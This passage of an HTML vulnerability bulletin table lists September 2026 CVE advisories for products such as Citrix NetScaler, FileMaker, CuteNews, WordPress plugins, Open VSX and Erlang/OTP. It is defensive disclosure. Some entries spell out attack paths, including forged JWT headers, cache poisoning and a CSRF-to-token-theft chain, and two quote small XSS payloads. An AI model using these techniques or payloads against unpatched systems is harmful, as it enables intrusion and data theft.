&lt;td&gt;Memory overflow vulnerability vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23&amp;nbsp;&amp;nbsp;leading to unpredictable or erroneous behavior or Denial of Service&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88777&quot; target=&quot;_blank&quot;&gt;CVE-2026-88777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Predictable exact value from previous values vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88778&quot; target=&quot;_blank&quot;&gt;CVE-2026-88778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Claris--FileMaker Pro&lt;/td&gt;
&lt;td&gt;A DLL hijacking vulnerability in the FileMaker Pro installer for Windows allowed a local user to execute arbitrary code with elevated administrator privileges by placing a malicious DLL file in the installer directory. This vulnerability is addressed in FileMaker Pro version 26.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86938&quot; target=&quot;_blank&quot;&gt;CVE-2026-86938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Claris--FileMaker Server&lt;/td&gt;
&lt;td&gt;A heap buffer overflow vulnerability in the FileMaker Server database engine block parsing routine allowed a maliciously crafted .fmp12 database file to cause memory corruption, potentially leading to arbitrary code execution. This vulnerability is addressed in FileMaker Server version 26.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86926&quot; target=&quot;_blank&quot;&gt;CVE-2026-86926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Claris--FileMaker Server&lt;/td&gt;
&lt;td&gt;An out-of-bounds read vulnerability in FileMaker Server for Linux allowed an attacker uploading a specially crafted image file to a container field to disclose process memory during thumbnail generation in FileMaker WebDirect. This vulnerability is addressed in FileMaker Server version 26.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86930&quot; target=&quot;_blank&quot;&gt;CVE-2026-86930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Claris--FileMaker Server&lt;/td&gt;
&lt;td&gt;An authorization bypass vulnerability in the FileMaker Server Web Publishing Engine allowed requests containing an extended privilege header to bypass the disabled Custom Web Publishing with XML setting and access the XML Web Publishing interface. This vulnerability is addressed in FileMaker Server version 26.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86934&quot; target=&quot;_blank&quot;&gt;CVE-2026-86934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CMB2--CMB2&lt;/td&gt;
&lt;td&gt;The CMB2 WordPress plugin before 2.13.0 does not perform any capability check on one of its AJAX actions, allowing users with a role as low as Subscriber to create arbitrary WordPress options and corrupt existing ones, which can break core site settings and take the site offline. Exploitation requires the site&#039;s or another CMB2 WordPress plugin before 2.13.0 to have declared an oEmbed field, as the CMB2 WordPress plugin before 2.13.0 registers none of its own. The stored value is never attacker-controlled, so the issue does not lead to privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80338&quot; target=&quot;_blank&quot;&gt;CVE-2026-80338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CMSimple--CMSimple&lt;/td&gt;
&lt;td&gt;CMSimple 5.24 ships with CSRF protection disabled by default, which turns csrfProtection() into a no-op on every state-changing admin request, and it does not send the csrf_token hidden field in admin forms. Because administrator authentication is cookie-only and no CSRF token is enforced, an unauthenticated attacker can induce a logged-in administrator&#039;s browser to issue a forged content-save request with a text payload containing a scripting marker. The marker is stored verbatim into content/content.php; on every subsequent page view evaluate_cmsimple_scripting() (functions.php) executes the marker body with PHP eval() - for all visitors, including unauthenticated ones. This yields persistent remote code execution on the web server.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88418&quot; target=&quot;_blank&quot;&gt;CVE-2026-88418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;containerd--containerd&lt;/td&gt;
&lt;td&gt;containerd is an open-source container runtime. Prior to versions 1.7.36, 2.0.13, 2.2.9, 2.3.6, and 2.4.1, a crafted OCI index graph can force very high CPU/memory usage during PullImage (before container start), causing long ContainerCreating stalls and, at larger sizes, node/runtime instability. Versions 1.7.36, 2.0.13, 2.2.9, 2.3.6, and 2.4.1 fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53493&quot; target=&quot;_blank&quot;&gt;CVE-2026-53493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CRMEB--Knowledge-Paid System&lt;/td&gt;
&lt;td&gt;CRMEB Knowledge-Paid System crmeb_zzff_class 1.4.4 has a backend verification function that returns the wrong type of value, causing errors and leaking sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88467&quot; target=&quot;_blank&quot;&gt;CVE-2026-88467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CrossWire--Xiphos&lt;/td&gt;
&lt;td&gt;An issue in CrossWire Xiphos &amp;lt;= 4.3.2 allows a local attacker to execute arbitrary code via the src/main/url.cc and src/gtk/menu_popup.c components&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79079&quot; target=&quot;_blank&quot;&gt;CVE-2026-79079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CuteNews--CuteNews v.2.1.2&lt;/td&gt;
&lt;td&gt;Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36467&quot; target=&quot;_blank&quot;&gt;CVE-2026-36467&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CuteNews--CuteNews v.2.1.2&lt;/td&gt;
&lt;td&gt;Cross-site Scripting (XSS) in index.php in CuteNews v.2.1.2 allows remote unauthenticated attackers to supply an arbitrarily named URL parameter key, with part of its name containing any URL-encoded common XSS payload (such as &quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;).&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36468&quot; target=&quot;_blank&quot;&gt;CVE-2026-36468&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CuteNews--CuteNews v.2.1.2&lt;/td&gt;
&lt;td&gt;CuteNews v.2.1.2 is vulnerable to Server-Side Request Forgery (SSRF) in core/modules/media.php -- upload_from_inet (Media Manager&#039;s &quot;Upload by URL&quot; functionality).&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36469&quot; target=&quot;_blank&quot;&gt;CVE-2026-36469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CuteNews--CuteNews v.2.1.2&lt;/td&gt;
&lt;td&gt;CuteNews v.2.1.2 is vulnerable to Cross Site Scripting (XSS) in index.php. The value of the &quot;Referer&quot; header is copied into the response HTML unmodified/unescaped during POST messages to index.php.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36470&quot; target=&quot;_blank&quot;&gt;CVE-2026-36470&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CuteNews--CuteNews v.2.1.2&lt;/td&gt;
&lt;td&gt;Deserialization of Untrusted Data of the __post_data parameter in cn_parse_url() in CuteNews v.2.1.2 allows a remote attacker to inject arbitrary values into internal request variables (including __referer) via a crafted base64-encoded serialized PHP payload submitted as a POST parameter.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36471&quot; target=&quot;_blank&quot;&gt;CVE-2026-36471&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CuteNews--CuteNews v.2.1.2&lt;/td&gt;
&lt;td&gt;CuteNews v.2.1.2 is vulnerable to Cross Site Scripting (XSS). Improper neutralization of the __referer value 2.0.1 allows a remote attacker to execute arbitrary JavaScript in the context of an authenticated user&#039;s session via a javascript: URI rendered as an unsanitized clickable link on the msg_info page.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36472&quot; target=&quot;_blank&quot;&gt;CVE-2026-36472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DAP-2610&lt;/td&gt;
&lt;td&gt;D-Link DAP-2610 up to 2.06B08r099 contains an authenticated command injection vulnerability within the web interface at the /index.xgi endpoint. An attacker with authenticated access can exploit some parameters to execute arbitrary system commands.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-51457&quot; target=&quot;_blank&quot;&gt;CVE-2025-51457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dashbit--nimble_zta&lt;/td&gt;
&lt;td&gt;Improper Verification of Cryptographic Signature vulnerability in dashbit nimble_zta allows an unauthenticated remote attacker to authenticate as an arbitrary Cloudflare service token. Applications using the Cloudflare Zero Trust authentication strategy are affected. verify_token/2 in lib/nimble_zta/cloudflare.ex matches the result of JOSE.JWT.verify/2 against {_, token, _s}, which discards the boolean verification result and returns the decoded token after a failed signature check. The attacker sends a forged JWT in the cf-access-jwt-assertion header, carrying the expected iss claim and the seven service token claims. verify_iss/2 reads the iss claim from the forged token, so it rejects nothing, and the service token path then returns those claims as the authenticated identity. This issue affects nimble_zta: from 0.1.2 before 0.1.3.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91187&quot; target=&quot;_blank&quot;&gt;CVE-2026-91187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dashbitco--lazy_html&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Input During Web Page Generation (&#039;Cross-site Scripting&#039;) vulnerability in dashbitco lazy_html allows mutation XSS via a parse and serialize round-trip of attacker-supplied HTML. LazyHTML.to_html/2 and LazyHTML.Tree.to_html/2 decide whether to escape an element&#039;s text from its tag name alone. A style or script element inside SVG or MathML foreign content is parsed with character references decoded, but is serialized as an HTML raw-text element, so its text is emitted unescaped. Encoded markup such as &amp;amp;lt;/style&amp;amp;gt;&amp;amp;lt;img src=x onerror=...&amp;amp;gt; inside &amp;lt;svg&amp;gt;&amp;lt;style&amp;gt; therefore closes the element on re-parse and becomes live markup. Applications that parse untrusted HTML with lazy_html, filter the document or tree, and serialize it for display are affected, since the payload is a plain text node that no element or attribute filter sees. This issue affects lazy_html: from 0.1.0 before 0.1.13.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92106&quot; target=&quot;_blank&quot;&gt;CVE-2026-92106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads--Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads&lt;/td&gt;
&lt;td&gt;The Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads WordPress plugin before 8.9.5 does not scope one of its REST collection endpoints to the requesting user, allowing users with a subscriber-level account to read every customer&#039;s order and payment records. Versions 8.8.1 to 8.9 are not affected. The endpoint was scoped correctly in 8.8.1 and the unscoped behaviour was reintroduced in 8.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77766&quot; target=&quot;_blank&quot;&gt;CVE-2026-77766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads--Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads&lt;/td&gt;
&lt;td&gt;The Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads WordPress plugin before 8.9.5 does not restrict access to a REST endpoint that returns user records, allowing unauthenticated attackers to read registered users&#039; private contact details.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84026&quot; target=&quot;_blank&quot;&gt;CVE-2026-84026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads--Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads&lt;/td&gt;
&lt;td&gt;The Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads WordPress plugin before 8.9.5 does not check user capabilities when creating orders through its REST API, allowing users with the subscriber role and above to create paid order and payment records with arbitrary amounts and attribute them to other users.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84027&quot; target=&quot;_blank&quot;&gt;CVE-2026-84027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads--Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads&lt;/td&gt;
&lt;td&gt;The Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads WordPress plugin before 8.9.5 does not validate a user-supplied URL before fetching it server-side, allowing users with the subscriber role and above to make the server issue requests to internal addresses.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84046&quot; target=&quot;_blank&quot;&gt;CVE-2026-84046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads--Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads&lt;/td&gt;
&lt;td&gt;The Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads WordPress plugin before 8.9.5 does not properly verify a listing&#039;s ownership before deleting it, allowing authenticated attackers with Subscriber-level access and above to delete arbitrary listings, including ones belonging to other users. This is an incomplete fix of CVE-2023-1889 / CVE-2023-35052: a separate, unaddressed listing-deletion path allows the same impact, from at least version 3.1.0 through the current release.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84098&quot; target=&quot;_blank&quot;&gt;CVE-2026-84098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads--Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads&lt;/td&gt;
&lt;td&gt;The Directorist: AI-Powered Business Directory, Listings &amp;amp; Classified Ads WordPress plugin before 8.9.5 does not verify that the target user of a REST route matches the authenticated caller before reading and modifying that user&#039;s saved favorites, allowing any authenticated user with subscriber-level access to view and alter another user&#039;s favorites.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84150&quot; target=&quot;_blank&quot;&gt;CVE-2026-84150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;divi-dash--divi-dash&lt;/td&gt;
&lt;td&gt;The divi-dash WordPress plugin before 1.0.7 does not validate the source of the client IP address it uses for rate limiting and banning, allowing unauthenticated attackers to spoof arbitrary IP addresses in order to bypass rate limiting, ban chosen addresses from the feature, and grow a stored option without bound, resulting in denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14321&quot; target=&quot;_blank&quot;&gt;CVE-2026-14321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Download Manager--Download Manager&lt;/td&gt;
&lt;td&gt;The Download Manager WordPress plugin before 7.5.6 does not sanitise and escape data submitted through its email-locked download subscription form before outputting it back in an admin page, which could allow unauthenticated attackers to perform Stored Cross-Site Scripting attacks against administrators. This affects the commercial Pro edition only; the free Download Manager WordPress plugin before 7.5.6 published under the same slug does not ship the affected feature.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86609&quot; target=&quot;_blank&quot;&gt;CVE-2026-86609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Easy Hide Login--Easy Hide Login&lt;/td&gt;
&lt;td&gt;The Easy Hide Login WordPress plugin before 1.7 does not fully enforce its hidden-login protection, allowing an unauthenticated attacker to reach the standard login page through certain password-reset request parameters and to recover the site&#039;s configured secret login slug from the returned page, defeating the Easy Hide Login WordPress plugin before 1.7&#039;s core protection.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84168&quot; target=&quot;_blank&quot;&gt;CVE-2026-84168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse iceoryx&lt;/td&gt;
&lt;td&gt;In Eclipse iceoryx2 versions greater than v0.8.0, the StaticString exposes its contents as mutable bytes through safe APIs, while String::as_str() converts those bytes into a Rust string slice without validating UTF-8. An application can therefore create an invalid &amp;amp;str and trigger undefined behavior using entirely safe Rust.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92612&quot; target=&quot;_blank&quot;&gt;CVE-2026-92612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Open VSX&lt;/td&gt;
&lt;td&gt;UrlUtil.getBaseUrl builds the absolute URLs in a response - download links, icons, asset and API URLs - from the X-Forwarded-Host, X-Forwarded-Proto and X-Forwarded-Prefix request headers, with no check on whether the sender was a trusted proxy, falling back to the client-supplied Host header. Those responses are cached under keys that do not include the host (extension.json since 0.6.0, namespace.details.json since 0.9.0, sitemap since 0.14.5, latest.extension.version.vscode since 0.34.2). A single request carrying a forged header therefore places attacker-chosen URLs into an entry served to every other client for the lifetime of that entry - one hour by default, and cluster-wide where ovsx.redis.enabled is set. The VSIX download URL, its signature URL and the public key URL are all derived from the same base URL, so extension signing does not limit the impact: an attacker who poisons an entry supplies the package, the signature over it, and the key used to verify it. Exploitability depends on deployment topology. A server reachable directly by clients, or fronted by a proxy that relays the client&#039;s X-Forwarded-Host rather than overwriting it, is exploitable by an unauthenticated remote attacker. A proxy that overwrites the header is not. An unauthenticated attacker can poison Open VSX&#039;s per-extension metadata cache with attacker-controlled download, signature, and public-key URLs by supplying a crafted X-Forwarded-Host header, causing downstream VS Code-compatible editors to fetch and install a malicious VSIX. Workarounds (unpatched versions) 1. Configure the reverse proxy to set rather than relay X-Forwarded-Host, X-Forwarded-Proto and X-Forwarded-Prefix - note that nginx&#039;s $host is the client&#039;s Host header and is not a safe value. 2. Ensure the server is not reachable except through that proxy. 3. Flush the caches afterwards; poisoned entries survive the configuration change.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-12999&quot; target=&quot;_blank&quot;&gt;CVE-2025-12999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--open-vsx.org&lt;/td&gt;
&lt;td&gt;The open-vsx.org deployment returned Access-Control-Allow-Origin reflecting the requesting origin together with Access-Control-Allow-Credentials: true on the authenticated /user/ endpoints. A page on any origin could therefore issue credentialed requests to the service in a logged-in user&#039;s browser and read the responses. This exposed /user (login name, avatar, homepage, tokens URL), /user/tokens, /user/namespaces, /user/extensions, /user/search/{name} and /user/namespace/{name}/members, and - because /user/csrf was readable the same way - allowed the CSRF protection on write endpoints to be defeated. Chaining the two, an attacker page could call /user/token/create and exfiltrate a personal access token carrying publish and delete rights over the victim&#039;s namespaces. The headers were emitted by the CDN/edge layer, not by the application: the Open VSX software sets allowCredentials(true) in exactly one place, against a single exact origin derived from ovsx.webui.url, and defines no CORS mapping on /user/ beyond it. No configuration of the software produces origin reflection with credentials.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90882&quot; target=&quot;_blank&quot;&gt;CVE-2026-90882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Email Subscribers &amp;amp; Newsletters--Email Subscribers &amp;amp; Newsletters&lt;/td&gt;
&lt;td&gt;The Email Subscribers &amp;amp; Newsletters WordPress plugin before 5.9.35 does not verify the per-subscriber management token before changing a subscriber&#039;s subscription status, allowing unauthenticated users to force-unsubscribe or force-confirm an arbitrary subscriber whose email address they know.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83555&quot; target=&quot;_blank&quot;&gt;CVE-2026-83555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;EmbedPress--EmbedPress&lt;/td&gt;
&lt;td&gt;The EmbedPress WordPress plugin before 4.6.7 does not escape one of its block attributes before outputting it inside an HTML attribute, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks against higher privileged users viewing the post.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85002&quot; target=&quot;_blank&quot;&gt;CVE-2026-85002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;EMLOG-Pro--EMLOG-Pro&lt;/td&gt;
&lt;td&gt;EMLOG-Pro 2.6.29 contains a XSS vulnerability that enables attackers to upload a malicious shell.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88745&quot; target=&quot;_blank&quot;&gt;CVE-2026-88745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Erlang--OTP&lt;/td&gt;
&lt;td&gt;Inefficient algorithmic complexity in the Erlang/OTP asn1 OBJECT IDENTIFIER decoder allows a remote unauthenticated attacker to cause denial of service by sending a crafted OID during the TLS handshake. The BER OID decoder asn1rtt_ber:dec_subidentifiers/3 in lib/asn1/src/asn1rtt_ber.erl and the equivalent PER helper asn1rtt_per_common:dec_subidentifiers/3 in lib/asn1/src/asn1rtt_per_common.erl accumulate a base-128 subidentifier into an unbounded integer using (Av bsl 7) + H per continuation byte. Each shift and addition on the growing accumulator is linear in the number of bits already accumulated, giving quadratic total work in the size of a single subidentifier. The JER helper asn1rtt_jer:json2oid/1 in lib/asn1/src/asn1rtt_jer.erl exhibits the same class of unbounded-integer parsing when decoding a dot-separated OID from JSON. A DER-encoded OBJECT IDENTIFIER with one very large arc (approximately 262 KB of continuation bytes) consumes roughly 13 seconds of CPU on typical hardware. The vulnerable decoder is generated into every ASN.1 module that contains an OBJECT IDENTIFIER, including OTP-PUB-KEY which is reached during X.509 certificate parsing via public_key:pkix_decode_cert/2. This decoder runs before any signature or trust chain verification, so any Erlang service that parses peer TLS certificates is exposed: the default for TLS clients (which always parse the server certificate) and for mutual-TLS servers (which parse client certificates). This vulnerability is associated with program files lib/asn1/src/asn1rtt_ber.erl, lib/asn1/src/asn1rtt_per_common.erl and lib/asn1/src/asn1rtt_jer.erl and program routines asn1rtt_ber:dec_subidentifiers/3, 